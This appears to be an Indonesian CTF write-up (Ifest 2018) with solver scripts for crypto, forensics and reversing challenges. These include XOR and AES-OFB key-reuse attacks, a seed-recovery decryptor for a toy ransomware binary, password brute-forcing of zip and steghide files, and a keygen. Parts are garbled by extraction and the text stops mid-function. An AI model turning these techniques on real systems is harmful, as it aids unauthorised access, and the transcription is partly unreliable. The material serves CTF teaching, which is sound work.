

# Write Up Ifest CTF 2018

## RevID.CTF

{fed0ra,n0psledbyte,rhama}

### Misc

#### Flag

terdapat base64 di keterangan, tinggal decode

```
echo IUZLc3R7Q2FsbGVzdGFzaWFFVGhpc19Jc19GbGFhX0Zvc19Zb3V9 | base64 -d
```

Flag : !Fest{Callestasia\_This\_Is\_Flag\_For\_You}

### Cryptography

#### Ncrypt

Diberikan file necrypt.php yang berisi

```
<?php
//$flag = "Aku sayang kamu.";
$key = "==QV5JEdyVHS0V2RzLXY3xWQJV2c1F2QlZ3bMSW5lZXZpZWZCV3bZ9GR";
$xor = rand(10,100);
$td = rand(0,10);
$result = array();
$final = "";

echo $xor;
echo "\n";
echo $td;
echo "\n";

$id = base64_decode(strrev($key));
for($i=0; $i<strlen($id); $i++){
    array_push($result, ord($id[$i])+$td);
}

$flag = str_split($flag);
foreach ($flag as $key => $value) {
    $final .= ((ord($value)+$result[$key]) ^ $xor)."-";
}

echo $final;

//This Result Final when already got uye! uye!
// $final = "97-177-202-230-253-201-177-176-205-192-193-185-188-202-144-203-209-188-160-219-253-214-186-178-181-239-253-209-236-199-170-183-215-149-231-213-192-158-221-214";
```

terlihat jika flag telah terenkripsi menjadi

"97-177-202-230-253-201-177-176-205-192-193-185-188-202-144-203-209-188-160-219-253-214-186-178-181-239-253-209-236-199-170-183-215-149-; setelah di enkripsi oleh necrypt.php, dan kita tinggal membuat program untuk mengembalikan nilainya seperti semula :

```
final = "97-177-202-230-253-201-177-176-205-192-193-185-188-202-144-203-209-188-160-219-253-214-186-178-181-239-253-209-236-199-170-183-215-149-231-213-192-158-221-214"
final = map(int,final.split("-"))
key = "DoYouBelieveInLoveCauseIAlwaysGetHurtByU"

for i in range(10):
    key2 = [ord(c) + i for c in key ]
    for ii in range(100):
        tmp = "".join([chr((((c ^ ii) - k) % 256) for c,k in zip(final,key2))]
        if "!Fest" in tmp:
            print tmp
```

Flag : !Fest{PHP\_OH\_PHP\_Cant\_Import\_PWN\_In\_PHP}

### CCrypt

Diberikan akses ke :

```
nc 139.99.104.173 2220
```

Disana kita harus mexor kan string dengan key yang diberikan tapi hanya dalam waktu 2 detik.

```
% nc 139.99.104.173 2220
Answer the following XOR questions within 2 seconds for each question! Encode with base64 before answering!
[q.1] ciphertext='\xe1\x81\xca\xf4\xef\xfb\xdf\xf6\x82\xdd\x8b\xc3\x81\xe9\xed\x80\xfe\xfe\xe3', key=187, plaintext=game_over!
```

Kami membuat script solvernya.

```
#!/usr/bin/env python

from pwn import *
from re import findall
from base64 import *

nc = remote("139.99.104.173", 2220)
nc.recvuntil("Answer the following XOR questions within 2 seconds for each question! Encode with base64 before answering!\n")
n = 0
while True:
    try:
        ask = nc.recvuntil("plaintext=")
        cipher = eval(findall("cipher=(.*)", ask)[0])
        key = findall("key=(.*)", ask)[0]
        ans = b64encode("".join(chr(ord(i)^int(key)) for i in cipher))
        nc.sendline(ans)
        print "[+] Asks      : %s" %ask
        print "[+] Cipher   : %s" %repr(cipher)
        print "[+] Keys     : %s" %key
        print "[+] Answer  : %s" %ans
        print "[+] N      : %s" %n
        n += 1
    except:
        break

print nc.recvall()
```

Jalankan dan dapatkan flagnya.

```
[+] Receiving all data: Done (35B)
[*] Closed connection to 139.99.104.173 port 2220
!Fest{n4yC4t_l0v3s_pwn_n0t_in_PHP}
```

## Rcrypt

Diberikan source code.

```
from random import randint

def kunci(str,pad):
    key1 = randint(0,13)
    key2 = randint(13,37)
    print(key1, ' ',key2)
    frag = [str[i:i+pad] for i in range(0, len(str), pad)]
    i = 0
    res = []
    for aug in frag:
        if i % 2 == 0:
            k = key1
        else:
            k = key2
        i += 1
        res.append("".join(chr(ord(s) ^ k) for s in aug))
        print(i)
    return res

encrypted = ['*Mnx\x7fp*', '{sHHd}', 'd;dgTTh', 'engc'pe', '?{c~e*v}']
```

Untuk mendapatkan flagnya, kita hanya perlu memodifikasi sedikit source code diatas, dan membruteforce kemungkinan flagnya.

```
res = ['*Mnx\x7fp*', '{sHHd}', 'd;dgTTh', 'engc'pe', '?{c~e*v}']
def decrypt(res, k1, k2):
    plain = []
    i = 0
    for aug in res:
        if i % 2 == 0:
            k = key1
        else:
            k = key2
        i += 1
        plain.append("".join(chr(ord(s) ^ k) for s in aug))
    return plain
for key1 in range(0, 13):
    for key2 in range(13, 37):
        print(''.join(decrypt(res, key1, key2)))
```

Jalankan script diatas.

```
$ python /tmp/solve.py | grep '!Fest'
!Fest{!*v-EE!qo0o!_chc!n!}h4phun!
!Fest{!}w!Fr!c00o!_ca!m!-k4phun!
!Fest{!}!j00kso0o!_c!ahl!-j4phun!
!Fest{!/kCXXt!o0o!_cu!ws!-u4phun!
!Fest{!6!bYYumo0o!_ctvr0at4phun!
!Fest{!5!aZzVno0o!_cw!uq5bw4phun!
!Fest{!4h!-[!wo0o!_cv!}tp4cv4phun!
```

```
!Fest{!3oq\\pho0o!_cqzsw3dq4phun!}
!Fest{!2nf!|q!0o!_cp{rv2ep4phun!}
!Fest{!lne""r!o0o!_csxqulf4phun!}
!Fest{!0ld_sko0o!_crypt0gr4phun!}
!Fest{!7ckPP|do0o!_c!v(7h)4phun!}
!Fest{!>bj00!eo0o!_c!w-z=i!4phun!}
!Fest{!-a!0R-fo0o!_c!y=i!4phun!}
!Fest{!<_h55go0o!_c-u!x=k!4phun!}
!Fest{!_go!t!x_o0o!_cyr{!_ly4phun!}
!Fest{!_fn!k!iyao0o!_cxs2-!mx4phun!}
!Fest{!9emVvzho0o!_c(py)9n!4phun!}
!Fest{!8dlWw{co0o!_czqx!8oz4phun!}
!Fest{!|Shhd!o0o!_cENGCE4phun!}
!Fest{!|Z!i!t!o0o!_cDdF8004phun!}
!Fest{!YQ!j!t!o0o!_cGLEAR64phun!}
!Fest{!XPkkG_o0o!_cFMD0SF4phun!}
!Fest{!_W!l!@x00!_cAJCGT4phun!}
```

Kita akan mendapatkan banyak kemungkinan flag. Tetapi flag yang paling masuk akal adalah `!Fest{!0ld__sko0o!__crypt0gr4phun!}`

## Ransomware

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v3; // eax@1
    unsigned int v4; // eax@2
    int v5; // eax@2
    int v6; // eax@4
    __int64 v7; // rax@6
    int v8; // ebx@5
    int result; // eax@7
    __int64 v10; // rcx@7
    char v11[4]; // [sp+10h] [bp-430h]@4
    int i; // [sp+1Ch] [bp-434h]@2
    int v13; // [sp+20h] [bp-430h]@2
    unsigned int v14; // [sp+24h] [bp-42Ch]@4
    char *v15; // [sp+28h] [bp-420h]@2
    char v16; // [sp+30h] [bp-420h]@2
    char v17; // [sp+230h] [bp-220h]@1
    __int64 v18; // [sp+438h] [bp-18h]@1

    v18 = *MK_FP(__FS__, 40LL);
    std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v17, argv, envp);
    v3 = std::operator[](8LL, 4LL);
    std::basic_ifstream<char,std::char_traits<char>>::open(&v17, argv[1], (unsigned int)v3);
    if ( (unsigned __int8)std::basic_ifstream<char,std::char_traits<char>>::is_open(&v17) )
    {
        v13 = filesize((char *)argv[1]);
        v15 = (char *)operator new[](v13);
        std::istream::read((std::istream *)&v17, v15, v13);
        std::basic_ifstream<char,std::char_traits<char>>::close(&v17, v15);
        v4 = time(0LL);
        srand(v4);
        std::basic_ofstream<char,std::char_traits<char>>::basic_ofstream(&v16);
        v5 = std::operator[](16LL, 4LL);
        std::basic_ofstream<char,std::char_traits<char>>::open(&v16, "encrypted.file", (unsigned int)v5);
        for ( i = 0; i < v13; ++i )
        {
            v6 = rand();
            v14 = (unsigned __int8)(((unsigned int)(v6 >> 31) >> 24) + v6) - ((unsigned int)(v6 >> 31) >> 24);
            *(__DWORD *)v11 = v14 ^ v15[i];
            std::ostream::write((std::ostream *)&v16, v11, 1LL);
        }
        std::basic_ofstream<char,std::char_traits<char>>::close(&v16);
        std::basic_ofstream<char,std::char_traits<char>>::~basic_ofstream(&v16);
        v8 = 0;
    }
    else
    {
        LODWORD(v7) = std::operator<<<std::char_traits<char>>(&std::cout, "File not found !");
        std::ostream::operator<<(<<v7, &std::endl<char,std::char_traits<char>>);
        v8 = 1;
    }
    std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v17);
    result = v8;
    v10 = *MK_FP(__FS__, 40LL) ^ v18;
    return result;
}
```

Untuk melakukan enkripsi program tersebut mengambil file dari `argv[1]` lalu akan di simpan hasil nya ke file `encrypted.file`. Dimana algoritma enkripsi yang digunakan adalah `xor`.

Key yang digunakan berdasarkan hasil return dari fungsi `rand()`.

dan menggunakan seed time.

```
v4 = time(0LL);
srand(v4);
```

Lalu program akan membaca byte per byte dari file inputan.

```
v6 = rand();
v14 = (unsigned __int8){((unsigned int)(v6 >> 31) >> 24) + v6} - ((unsigned int)(v6 >> 31) >> 24);
*(_DWORD *)v11 = v14 ^ v15[i];
```

Untuk mendapatkan seed nya, kami mengambil berdasarkan modified time dari encrypted.file.

```
stat -c "%Y" encrypted.file
1533922854
```

Script deksripsi

```
import ctypes

with open("encrypted.file", "rb") as f:
    enc = f.read()

lib = ctypes.CDLL("libc.so.6")
lib.srand(1533922854)
res2= ""
for e in enc:
    key = lib.rand()
    res = chr((ord(e) ^ key) % 256)
    res2 += res

with open("hasil.dec", "wb") as f:
    f.write(res2)
```

Flag : !Fest{love\_is\_timing\_love\_is\_coming\_coming}

## AESTETHICC

Diberikan sebuah web dan source untuk enkripsi file.

Dimana pada source, tersebut menggunakan AES OFB untuk melakukan enkripsi

```
def encrypt(self):
    cipher = AES.new(self.key, mode=AES.MODE_OFB, IV=self.iv)

    with open(self.filename, "rb") as infile:
        with open(self.out_filename, "wb") as outfile:
            while True:
                chunk = infile.read(self.chunk_size)
                if len(chunk) == 0:
                    break
                elif len(chunk) % self.bs != 0:
                    chunk = self._pad(chunk)
                outfile.write(cipher.encrypt(chunk))
```

Kelemahan dari AES OFB adalah apabila terdapat Plain text dan Cipher text yang di enkripsi menggunakan Key dan IV yang sama, apabila di XOR, hasil nya bisa digunakan untuk melakukan dekripsi file yang telah terenkripsi menggunakan Key dan IV yang sama seperti file sebelum nya.

kami mengupload file box.sh untuk mengenkripsi nya, lalu tinggal xor hasil enkripsi nya dengan plain text aslinya.

script deskripsi yang kami gunakan

```
with open("box.enc", "rb") as enc:
    enc = enc.read()

with open("box.sh", "rb") as plain:
    plain = plain.read()

with open("flag", "rb") as flag:
    flag = flag.read()

res = ""
for i in range(len(enc)):
    try:
        key = ord(enc[i]) ^ ord(plain[i])
        res += chr(ord(flag[i]) ^ key)
    except:
        print res
        break
```

```
$ python aes_solver.py
Indonesia, a Southeast Asian nation made up of thousands of volcanic islands, is home to hundreds of ethnic groups speaking many different languages. It's known for beaches, volcanoes, Komodo dragons and jungles sheltering elephants, orangutans and tigers. On the island of Java lies Indonesia's vibrant, sprawling capital , Jakarta, and the city of Yogyakarta, known for gamelan music and traditional puppetry.

Flag : !Fest{6e933f3054f533c63dd59479ca9f4b6f}
```

Flag : !Fest{6e933f3054f533c63dd59479ca9f4b6f}

## Forensic

### Identifier

Diberikan file rusak dengan nama broken.png dan memiliki header file awal .F0E% dan footer FDP% jadi bisa di simpulkan bahwa ini adalah file pdf yang

binary nya telah di balik, tinggal buat script untuk membaliknya lagi

```
$ python -c 'f = open("broken.png", "rb").read()[::-1]; w = open("fix.pdf", "wb").write(f)'
```

**Flag : !Fest{d1d\_u\_knOw\_th4t\_Fil3\_sign4ture\_is\_s0\_!mport4nt}**

## Basic incident handling

Diberikan file capture.pcapng yang isinya hasil record suatu web, saat di `strings` terdapat strings base64 pada `User-Agent` dan ketika di decode ternyata itu flag nya

```
$ strings capture.pcapng | grep User-Agent | cut -d " " -f2 | base64 -d
```

**Flag : !Fest{b4s1c\_n3twork\_f0r3nslc}**

## Evil PDF

Diberikan file pdf yang berisi gambar yang saling bertumpukan, kami menggunakan `foremost` untuk memisahkan gambar.

```
foremost -i Document1.pdf -v
```

### ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert

ASCII (Example: a b c)

! F e s t { m u l t i p l e \_ l 4 y 3 r \_ i m 4 g e s }

Add spaces

Remove spaces

☐ Convert white space characters

Convert

Hex (Example: 0x61 0x62 0x63) ☐ Remove 0x

0x21 0x46 0x65 0x73 0x74 0x7b 0x6d 0x75 0x6c 0x74 0x31 0x70 0x6c 0x65 0x5f  
0x6c 0x34 0x79 0x33 0x72 0x5f 0x69 0x6d 0x34 0x67 0x65 0x73 0x7d

Convert

Decimal (Example: 97 98 99)

033 070 101 115 116 123 109 117 108 116 049 112 108 101 095 108 052 121 051  
114 095 105 109 052 103 101 115 125

Convert

Binary (Example: 01100001 01100010 01100011)

00100001 01000110 01100101 01110011 01110100 01111011 01101101 01110101  
01101100 01110100 00110001 01110000 01101100 01100101 01011111 01101100  
00110100 01111001 00110011 01110010 01011111 01101001 01101101 00110100  
01100111 01100101 01110011 01111101

**Flag : !Fest{mult1ple\_l4y3r\_im4ges}**

## Hey Ndut

Diberikan file zip yang di dalamnya terdapat flag.zip yang di password dan folder `fuckinguselessnumberifyouthinkinglikethat` yang di dalamnya terdapat banyak folder dengan nama folder yang di enkript ke base64 dan di masing-masing folder terdapat gambar yang terdapat strings decimal, dan di salah satu gambar terdapat password untuk membuka file zip, jadi kita tinggal ekstrak strings di gambar menjadi text dan di enkrip dengan ketentuan `md5(base64(hasil_ocr))` untuk password nya lalu bruteforce file zip dengan list password, tinggal buat auto nya :

```
from PIL import Image
import hashlib
import pyteseract
import os
import glob
import zipfile
from base64 import b64encode

def md5(plain):
    return hashlib.md5(plain).hexdigest()

zip_file = zipfile.ZipFile("flag.zip")

for d in os.listdir("."):
    if d == "solver.py" or d == "flag.zip":
        pass
    else:
        path = glob.glob("{}/*".format(d))[0]
        print path
```

```

text = pytesseract.image_to_string(Image.open(path))
tmp = md5(b64encode(text))
try:
    zip_file.extractall(pwd=tmp)
    print "Found Pass : {}".format(tmp)
    exit(0)
except:
    pass

```

Found Pass : 12002f9028f6d3c4a6e093547b221707

**Flag : !Fest{fun\_OCR\_oke\_sip\_jos}**

## Quotes For you

Diberikan quote.zip yang berisi quote.jpg dan solver.py yang merupakan solver tidak lengkap dengan inti program melakukan bruteforce steghide password dengan password yang harusnya di simpan di random\_string\_123.txt, cek exif data quote.jpg dengan command `exiftool quote.jpg` akan terdapat link pastebin tempat di upload nya random\_string\_123.txt, download password pada <https://pastebin.com/BwRd3w5n> lalu tinggal bruteforce

```

import os

with open("x") as f:
    f = f.read().split()

for xs in f:
    try:
        print xs
        cmd = "steghide extract -sf quote.jpg -p '%s'" % (xs)
        os.system(cmd)
    except:
        continue

```

**Flag : !Fest{n0w\_i\_need\_a\_pl4c3\_t0\_hid3\_4way}**

## Reverse

### Easy Reverse

Diberikan file ez\_reverse yang adalah Binary ELF 64-bit Executable, agar mudah decompile menggunakan IDA, saat di decompile pada fungsi main hanya memanggil fungsi `yes_papa()`, hasil decompile pada fungsi `yes_papa()`:

```

__int64 yes_papa()
{
    char *v0; // rsi@1
    signed int v2; // [sp+Ch] [bp-4h]@1

    printf("[+] Key : ");
    v0 = passwd;
    __isoc99_scanf("%s", passwd);
    v2 = strlen(passwd);
    for ( i = 0; v2 / 2 > i; ++i )
    {
        v0 = (char*)(unsigned int)i;
        ki[i] = passwd[i];
    }
    ki[i] = 0;
    i = v2 / 2;
    k = 0;
    while ( v2 >= i )
    {
        v0 = (char*)(unsigned int)k;
        ka[k++] = passwd[i++];
    }
    hhh();
    hhhh(passwd, v0);
    puts("[+] Johnny flag johny johny, Right papa!");
    printf("[+] Flag : !Fest{%s}\n", passwd);
    return 0LL;
}

```

membagi password menjadi 2 strings dengan panjang yang sama lalu mencocokkan password pada fungsi `hhh()` dan `hhhh()`

decompile pada fungsi `hhh()`:

```

v2 = 741;
v3 = 1073;
v4 = 1237;
v5 = 1113;
v6 = 1203;
v7 = 1029;
v8 = 1159;
v9 = 1113;
v10 = 967;
v11 = 1029;
v12 = 1407;
v13 = 1029;
v14 = 1159;

```

```

v15 = 1169;
v16 = 1029;
v17 = 1113;
v18 = 563;
v19 = 1199;
v20 = 529;
v21 = 1113;
v22 = 789;
v23 = 1209;
v24 = 1159;
for ( i = 0; ; ++i )
{
    v0 = i;
    if ( v0 >= strlen(ki) )
        break;
    if ( ((yy + zz + ki[i] * xx) ^ 0x69) != *(&v2 + i) )
    {
        puts("[-] N00B");
        exit(0);
    }
}
return 0LL;
}

```

dan pada fungsi `hhhh()` :

```

v2 = 51914;
v3 = 39114;
v4 = 41034;
v5 = 69834;
v6 = 4554;
v7 = 55754;
v8 = 714;
v9 = 28874;
v10 = 35914;
v11 = 37834;
v12 = 37194;
v13 = 7754;
v14 = 15434;
v15 = 28874;
v16 = 26314;
v17 = 71754;
v18 = 42954;
v19 = 7754;
v20 = 69834;
v21 = 16714;
v22 = 21834;
v23 = 9674;
v24 = 14154;
v25 = 64;
for ( i = 0; ; ++i )
{
    v0 = i;
    if ( v0 >= strlen(ka) )
        break;
    if ( xx * (zz + v25 * (char)(ki[i] ^ ka[i])) - yy != *(&v2 + i) )
    {
        puts("[-] N00B");
        exit(0);
    }
}
return 0LL;
}

```

pahami alur enkripsi pada hhh dan hhhh dan tinggal reverse code nya

```

#!/usr/bin/env python

flag = ""
flag_ki = [741, 1073, 1237, 1113, 1203, 1029, 1159, 1113, 967, 1029, 1407, 1029, 1159, 1169, 1029, 1113, 563, 1199, 529, 1113, 789, 1209, 1159]
flag_ka = [51914, 39114, 41034, 69834, 4554, 55754, 714, 28874, 35914, 37834, 37194, 7754, 15434, 28874, 26314, 71754, 42954, 7754, 69834, 16714, 21834, 9674, 14154]
flag += "".join(chr(((i ^ 0x69) - (46+76))/10) for i in flag_ki)
flag += "".join(chr((((i+64)/10)-76)/64)^ord(j)) for i,j in zip(flag_ka, list(flag)))

print "[+] Flag : !Fest{%s}" %flag

```

**Flag : !Fest{5cm\_per\_Reverse\_0n3\_More\_R3v3rse\_One\_M0re\_Flag}**

## Anggota

Diberikan Binary file ELF Executable 64-bit dan service pada `nc 139.99.104.173 2219` , pada fungsi main program hanya meminta inputan dan memanggil fungsi `check()` : dan key di check pada fungsi check, decompile :

```

if ( strlen(key) == 24 )
{
    if ( byte_201084 != 45 || byte_201089 != 45 || byte_20108E != 45 || byte_201093 != 45 )
    {
        puts("[-] N00B, Bukan anggota club");
        result = 0xFFFFFFFFLL;
    }
}

```

```

else
{
    v4 = 0;
    for ( i = 0; i < strlen(key); ++i )
        v4 += key[(signed __int64)i];
    v0 = 9168;
    if ( v4 == (v0 >> 2) - 293 )
    {
        puts("[+] G00D, Anggota Club, ulululululu");
        system("cat flag.txt");
        result = 0LL;
    }
    else
    {
        puts("[-] N00B, Bukan anggota club");
        result = 0xFFFFFFFFLL;
    }
}
}
else
{
    puts("[-] N00B, Bukan anggota club");
    result = 0xFFFFFFFFLL;
}
return result;
}

```

Syarat key :

- panjang key harus 24
- byte\_201084, byte\_201089, byte\_20108E, byte\_201093 (key[4], key[9], key[14], key[19]) harus di isi dengan karakter dari 45 desimal ("-."), tata letak key :

```

.bss:0000000000201080      public key
.bss:0000000000201080      ; char key[4]
.bss:0000000000201080      key      db 4 dup(?)      ; DATA XREF: check+1E0
.bss:0000000000201080      ; check+860 ...
.bss:0000000000201084      byte_201084      db ?      ; DATA XREF: check+34r
.bss:0000000000201085      db ? ;
.bss:0000000000201086      db ? ;
.bss:0000000000201087      db ? ;
.bss:0000000000201088      db ? ;
.bss:0000000000201089      byte_201089      db ?      ; DATA XREF: check+43r
.bss:000000000020108A      db ? ;
.bss:000000000020108B      db ? ;
.bss:000000000020108C      db ? ;
.bss:000000000020108D      db ? ;
.bss:000000000020108E      byte_20108E      db ?      ; DATA XREF: check+52r
.bss:000000000020108F      db ? ;
.bss:0000000000201090      db ? ;
.bss:0000000000201091      db ? ;
.bss:0000000000201092      db ? ;
.bss:0000000000201093      byte_201093      db ?      ; DATA XREF: check+61r
.bss:0000000000201094      db ? ;
.bss:0000000000201095      db ? ;
.bss:0000000000201096      db ? ;
.bss:0000000000201097      db ? ;

```

- Jadi format untuk key adalah XXXX-XXXX-XXXX-XXXX-XXXX
- key akan di check jika key == (9168 >> 2) - 293 maka program akan memanggil system dan meng-cat flag.txt
- jadi jumlah nilai dari key harus (9168 >> 2) - 293 == 1999

disini kita bisa membuat keygen :

```
#!/usr/bin/env python

from random import choice as c
from string import uppercase, lowercase

s = uppercase + lowercase

try:
    while True:
        j = 0
        key = "%s%s%s%s-%s%s%s%s-%s%s%s%s-%s%s%s%s-%s%s%s%s" % (c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s), c(s))
        for i in key:
            j += ord(i)
            if j == 1999:
                print "[+] Found ->", key
            else:
                pass
except KeyboardInterrupt:
    print "\n[-] Force Close Key Generator"
```

tinggal jalankan dan masukkan salah satu key

Flag : !Fest{\_Simple\_License\_K\_0bfuscat3\_F0r\_Stretching\_}

**Come wibu come**



Diberikan sebuah elf binary bernama `login_peserta` .

berikut hasil dissassemble

```
gdb-peda$ pdisass runme
Dump of assembler code for function runme:
0x000000004000b6 <+0>: pop    rax
0x000000004000b7 <+1>: call   0x40011c <write>
0x000000004000bc <+6>: xor     rdi,rdi
0x000000004000bf <+9>: xor     rax,rax
0x000000004000c2 <+12>: xor     rbx,rbx
0x000000004000c5 <+15>: xor     rdx,rdx
0x000000004000c8 <+18>: xor     rcx,rcx
0x000000004000cb <+21>: sub     rsp,0x20
0x000000004000cf <+25>: xor     rdi,rdi
0x000000004000d2 <+28>: mov     edx,0x9
0x000000004000d7 <+33>: mov     rsi,rsp
0x000000004000da <+36>: call    0x400115 <read>
0x000000004000df <+41>: xor     rdi,rdi
0x000000004000e2 <+44>: xor     rax,rax
0x000000004000e5 <+47>: xor     rbx,rbx
0x000000004000e8 <+50>: xor     rdx,rdx
0x000000004000eb <+53>: xor     rcx,rcx
0x000000004000ee <+56>: mov     rbx,rsp
gdb-peda$ pdisass jjmp
Dump of assembler code for function jjmp:
0x000000004000f1 <+0>: xor     rax,rax
0x000000004000f4 <+3>: mov     al,BYTE PTR [rbx]
0x000000004000f6 <+5>: mov     dil,BYTE PTR [rbx]
0x000000004000f9 <+8>: mov     rdx,rax
0x000000004000fc <+11>: add     rcx,rdx
0x000000004000ff <+14>: inc     rbx
0x00000000400102 <+17>: test    rdi,rdi
0x00000000400105 <+20>: jne     0x4000f1 <jjmp>
0x00000000400107 <+22>: cmp     rcx,0x230
0x0000000040010e <+29>: je      0x400139 <flag>
0x00000000400110 <+31>: call    0x40015a <exit>
```

Program akan membaca input menggunakan `syscall read` sebanyak 0x09 bytes.

Pada potongan disassemble fungsi `jjmp` . program akan melakukan penjumlahan (sum) semua karakter yang diinput. apabila hasil jumlah semua karakter == 0x230, fungsi flag aka di panggil, apabila salah fungsi exit akan di panggil.

Untuk mendapatkan inputan yang valid, kami mencari secara manual.

```
In [1]: 560/9
Out[1]: 62
In [2]: 62 * 9
Out[2]: 558
In [3]: chr(62+2)
Out[3]: '@'
In [4]: chr(62)
Out[4]: '>'
In [5]: ">" * 8 + "@"
Out[5]: '>>>>>>>@'
```

```
$ nc 139.99.104.173 2218
Password : >>>>>>>@
!Fest{"c67563bb38c2d144335a0678d7e17278"}
```

**Flag : !Fest{"c67563bb38c2d144335a0678d7e17278"}**

## Flag Validate Final Anti Hack Anti Bocor.

Diberikan binary xororor, jika di load dengan IDA PRO program tidak akan bisa didecompile karena terdapat proteksi anti disassembly.

```
text:00048650      suv     esp, 00h
text:00048659      push   offset aEnterValidFlag ; "Enter valid flag: "
text:0004865E      call   __printf
text:00048663      add     esp, 10h
text:00048666      sub     esp, 8
text:00048669      lea     eax, [ebp-2Ch]
text:0004866C      push   eax
text:0004866D      push   offset aS      ; "%s"
text:00048672      call   __isoc99_scanf
text:00048677      add     esp, 10h
text:0004867A      xor     eax, eax
text:0004867C      jz      short near ptr loc_004867E+1
text:0004867E      jmp     far ptr 00445h:00000000
text:00048685      ; -----
text:00048685      push   eax
text:00048686      call   loc_004851B
text:00048689      add     esp, 4h
```

```

text:00048597          push    dword ptr [ebp-5Ch]
text:0004859A          call    _strlen
text:0004859F          add     esp, 10h
text:000485A2          mov     [ebp-4Ch], eax
text:000485A5          xor     eax, eax
text:000485A7          jz      short near ptr loc_80485A9+1
text:000485A9          |
text:000485A9          loc_80485A9: : CODE XREF: .text:000485A7↑j
text:000485A9          jmp     far ptr 0.000485C7h
text:000485A9          ; -----
text:000485B0          dd      8B69EB00h, 458BB055h, 0FD001A4h, 0BE0F00B6h, 5ABAC0h
text:000485B0          dd      0C2290000h, 4589D089h, 0B0458BB8h, 8501E083h, 8B1874C0h
text:000485B0          dd      48BB045h, 4A06095h, 0B8558B88h, 0C089D189h, 4589C0D3h
text:000485B0          dd      8B16EBAC h, 48BB045h, 4A06085h, 0B8558B08h, 0C089D189h
text:000485B0          dd      4589C0D3h, 0B0458BAC h, 0BC85448Bh, 74AC453Bh, 0B807h
text:000485B0          dd      0FEB0000h, 1B04583h, 0DB07D83h, 1B8917Eh, 8B000000h
text:000485B0          dd      3365F44Dh, 140Dh, 0E8057400h, 0FFFFFFD88h
text:00048638          ; -----
text:00048638          leave
text:00048639          retn
text:0004863A          ; -----

```

Patch binary pada address 0x80485a9 dan 0x804867e menjadi byte 0x90 atau instruksi nop agar binary dapat di decompile menjadi IDA.

Didapatkan pseudo code fungsi main.

```

int __cdecl main()
{
    int result; // eax@4
    int v1; // edx@4
    char s; // [sp+Ch] [bp-2Ch]@1
    int v3; // [sp+2Ch] [bp-Ch]@1

    v3 = *MK_FP(__GS__, 20);
    printf("Enter valid flag: ");
    __isoc99_scanf("%s", &s);
    if ( sub_804851B(&s) )
        puts(&s);
    else
        puts("I'am not sure if that is a valid flag");
    result = 0;
    v1 = *MK_FP(__GS__, 20) ^ v3;
    return result;
}

```

Program memanggil fungsi sub\_804851b untuk mengecek flagnya.

```

signed int __cdecl sub_804851B(const char *a1)
{
    int v1; // eax@3
    int v2; // eax@4
    signed int result; // eax@6
    int v4; // ecx@10
    int v5; // [sp+14h] [bp-54h]@3
    signed int i; // [sp+18h] [bp-50h]@1
    char v7; // [sp+20h] [bp-48h]@2
    unsigned int v8; // [sp+24h] [bp-44h]@1
    int v9; // [sp+28h] [bp-40h]@1
    int v10; // [sp+2Ch] [bp-3Ch]@1
    unsigned int v11; // [sp+30h] [bp-38h]@1
    unsigned int v12; // [sp+34h] [bp-34h]@1
    int v13; // [sp+38h] [bp-30h]@1
    int v14; // [sp+3Ch] [bp-2Ch]@1
    int v15; // [sp+40h] [bp-28h]@1
    unsigned int v16; // [sp+44h] [bp-24h]@1
    unsigned int v17; // [sp+48h] [bp-20h]@1
    unsigned int v18; // [sp+4Ch] [bp-1Ch]@1
    unsigned int v19; // [sp+50h] [bp-18h]@1
    unsigned int v20; // [sp+54h] [bp-14h]@1
    int v21; // [sp+58h] [bp-10h]@1
    int v22; // [sp+5Ch] [bp-Ch]@1

    v22 = *MK_FP(__GS__, 20);
    v8 = 0xDD7EB565;
    v9 = 0x393A20F4;
    v10 = 0x33DA8EA5;
    v11 = 0x912D6F35;
    v12 = 0xDF75B857;
    v13 = 0x4B10FF50;
    v14 = 0x1F81E4F;
    v15 = 0x26B22004;
    v16 = 0xCF60B868;
    v17 = 0xAF40AE25;
    v18 = 0xFD7FE406C;
    v19 = 0xCF6E0139;
    v20 = 0xDE0DEB3A;
    v21 = 0x4BEF41C1;
    strlen(a1);
    for ( i = 0; i <= 13; ++i )
    {
        v7 = 90 - a1[i];
        if ( i & 1 )
        {
            v1 = __ROL4__(dword_804A060[i], v7);
            v5 = v1;
        }
        else
        {

```

```

        v2 = __ROR4__(dword_804A060[i], v7);
        v5 = v2;
    }
    if ( *(&v8 + i) != v5 )
    {
        result = 0;
        goto LABEL_10;
    }
}
result = 1;
LABEL_10:
v4 = *MK_FP(__GS__, 20) ^ v22;
return result;
}

```

Program menggunakan instruksi ROL (Rotate Bit Left) dan ROR (Rotate Bit Right) untuk mengolah inputan kita dan membanding setiap hasilnya dengan array v8. Kita bisa membruteforcenya karena rangenya cukup kecil yakni hanya 32 (sesuai panjang bitnya). Seperti inilah script solvernya.

```

def rol32(x, n):
    return ((x << (n % 32)) & 0xffffffff) | x >> (32 - (n % 32))

def ror32(l, n):
    return (l << (32 - (n % 32)) & 0xffffffff) | l >> (n % 32)

# Di dapat dari 0x804a060
dword_804A060 = [3583473146, 2635102748, 1794806991, 3445902171, 3203100847, 1646258697, 4162735873, 8705604, 3626900019, 2690061015, 2140150591, 10282935, 1868158704, 471121652]
# Di dapat dari array v8
v8 = [3716068709, 960110836, 869973669, 2435673909, 3749034071, 1259405136, 33037903, 649207812, 3479222376, 2940251685, 4261298284, 3480092985, 3725454138, 1273971137]

flag = ""
for i in range(14):
    ror = [rol32, ror32][i % 2]
    for j in range(32):
        if ror(dword_804A060[i], j) == v8[i]:
            flag += chr(90 + j)
            break
print(flag)

```

Jalankan script diatas, dan didapatkan flagnya.

```

$ python xorsolve.py
happy_rotation

```

**Flag : !Fest{happy\_rotation}**

## Xorry My Friend

Dibinary tersebut terdapat fungsi untuk mengecek flag, decompile fungsi tersebut.

```

signed __int64 __fastcall is_that_flag(__int64 a1)
{
    signed __int64 result; // rax@3
    __int64 v2; // rsi@18
    signed int i; // [sp+10h] [bp-100h]@1
    signed int j; // [sp+14h] [bp-FCh]@6
    signed int k; // [sp+18h] [bp-F8h]@9
    signed int l; // [sp+1Ch] [bp-F4h]@12
    int v7; // [sp+20h] [bp-F0h]@1
    int v8; // [sp+24h] [bp-ECh]@1
